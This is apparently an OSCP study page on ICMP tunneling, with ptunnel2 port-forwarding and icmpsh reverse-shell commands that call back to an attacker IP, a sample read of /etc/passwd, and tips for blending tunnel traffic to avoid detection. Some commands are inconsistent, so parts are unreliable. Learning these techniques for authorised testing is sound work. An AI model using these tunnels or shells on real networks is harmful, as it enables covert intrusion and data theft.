ICMP Tunneling Concepts
ICMP tunneling encapsulates data inside ICMP Echo Request/Reply (ping) packets. Since ICMP is rarely blocked by firewalls (it’s needed for network diagnostics), this provides another covert communication channel.
Why ICMP Tunneling?
| Reason | Explanation |
|---|---|
| ICMP echo rarely blocked | Ping is essential for network diagnostics |
| Bypasses port-based firewalls | ICMP uses no ports — it’s a separate protocol |
| Looks like normal ping | Traffic appears as regular ping at first glance |
| Works when all TCP/UDP blocked | Last-resort tunneling method |
How ICMP Tunneling Works
Data Encoding Process
graph LR
A[Raw TCP Data] --> B[Encode into ICMP Payload]
B --> C[Send as Echo Request]
C --> D[Firewall allows ICMP]
D --> E[Decoder extracts payload]
E --> F[Reconstruct TCP Data]
Packet Structure
ICMP Echo Request
├── Type: 8 (Echo Request)
├── Code: 0
├── Checksum
├── Identifier
├── Sequence Number
└── Data (Payload) ← Your encoded data goes here
└── Up to ~1000 bytes per packet
Request/Reply Cycle
- Client encodes TCP data into ICMP Echo Request payload.
- ICMP packet is sent to the attacker’s IP.
- Attacker decodes the payload from the Echo Request.
- Attacker encodes response data in Echo Reply.
- Client decodes the Echo Reply payload.
Tools Comparison
| Tool | Type | Features | Best For |
|---|---|---|---|
| ptunnel2 | Port forward over ICMP | TCP port forwarding through ping | Forwarding specific services |
| icmpsh | Interactive shell over ICMP | Bidirectional shell through ping | Quick interactive access |
| icmp_tunnel | Generic ICMP tunnel | Simple data relay | Basic tunneling |
Ptunnel2 — Port Forwarding Over ICMP
Ptunnel2 creates a TCP port forward through ICMP packets. It’s the most practical ICMP tunneling tool for OSCP.
Architecture
graph LR
subgraph "Attacker"
A[ptunnel2<br/>Listen on 31337]
end
subgraph "Internal Network"
B[ptunnel2<br/>Forward to target:80]
C[Target<br/>10.10.10.10:80]
end
A <-->|ICMP Echo Request/Reply| B
B -->|TCP| C
Attacker Side Setup
# Install ptunnel2
sudo apt install ptunnel2
# Start ptunnel2 server (listen for ICMP, forward to local port)
ptunnel2 --listen 31337
Pivot Side Setup
# On the pivot machine
# Forward ICMP data to the internal target
ptunnel2 --daemon --nat 10.10.14.3:31337:10.10.10.10:80
# --daemon : Run in background
# --nat : NAT rule: attacker_ip:port:target_ip:target_port
Port Forwarding Through ICMP
# Now on the attacker machine
# Connect to localhost:31337 to reach 10.10.10.10:80
curl http://localhost:31337
# Or use nmap through the tunnel
nmap -p 80 localhost -Pn
How It Works
- Attacker’s ptunnel2 listens on port 31337.
- When you connect to
localhost:31337, ptunnel2 encodes the TCP data into ICMP Echo Requests. - ICMP packets travel to the pivot (which decodes them).
- Pivot’s ptunnel2 forwards the decoded data to
10.10.10.10:80. - Response travels back through ICMP Echo Replies.
Icmpsh — Interactive Shell Over ICMP
Icmpsh provides a bidirectional interactive shell through ICMP packets.
Architecture
graph LR
subgraph "Attacker"
A[icmpsh<br/>Server]
end
subgraph "Internal Network"
B[icmpsh<br/>Client]
end
A <-->|ICMP Echo| B
Attacker Side
# Clone and setup
git clone https://github.com/ivenslp/icmpsh.git
cd icmpsh
# Start server
python3 icmpsh.py --server --local-port 4444
Pivot Side
# Start client (connects back to attacker)
python3 icmpsh.py --client --server-ip 10.10.14.3
# You now have an interactive shell through ICMP!
Interactive Shell
# Commands are sent through ICMP Echo Requests
# Output returns through ICMP Echo Replies
whoami
ipconfig
cat /etc/passwd
Limitations
| Limitation | Impact | Workaround |
|---|---|---|
| Very low bandwidth | ~1-5 KB/s max | Accept it — not for large transfers |
| Rate limiting | Firewalls may rate-limit ICMP | Use delays between packets |
| Easy detection | Unusual ICMP volume/patterns | Limit usage, blend with normal traffic |
| MTU issues | Large packets may be fragmented | Use smaller payloads |
| No encryption | Data visible in packet capture | Combine with encrypted payload |
| ICMP may be blocked | Some networks block ICMP | Try DNS tunneling instead |
When ICMP Tunneling Is the Only Option
| Scenario | Tool |
|---|---|
| Only ICMP allowed outbound | ptunnel2 / icmpsh |
| All TCP/UDP ports blocked | ptunnel2 |
| Need to forward a specific service | ptunnel2 |
| Need interactive shell | icmpsh |
| Firewall allows only ping and DNS | ptunnel2 (ICMP) + iodine (DNS) |
OSCP Relevance
ICMP tunneling is rarely needed in OSCP exams:
- Most OSCP machines allow at least one TCP port.
- ICMP tunneling is more relevant for advanced certifications.
- Know the concepts in case you encounter a heavily restricted network.
- ptunnel2 is the most practical tool if you need ICMP tunneling.
OSCP Tips
- ICMP tunneling is a last resort — try SSH, Chisel, or ReGeorg first.
- ptunnel2 is the most practical — forwards TCP ports through ping.
- Bandwidth is extremely limited — use for shells and small data only.
- Check if ICMP is allowed:
ping 10.10.14.3from the pivot. - Combine with other methods if multiple protocols are allowed.
Further Reading
- DNS Tunneling Concepts — another covert channel
- Evading Detection with Tunnels — stealth techniques
- Chisel Tunneling — faster alternative when TCP is available
- Quick Reference Cheat Sheet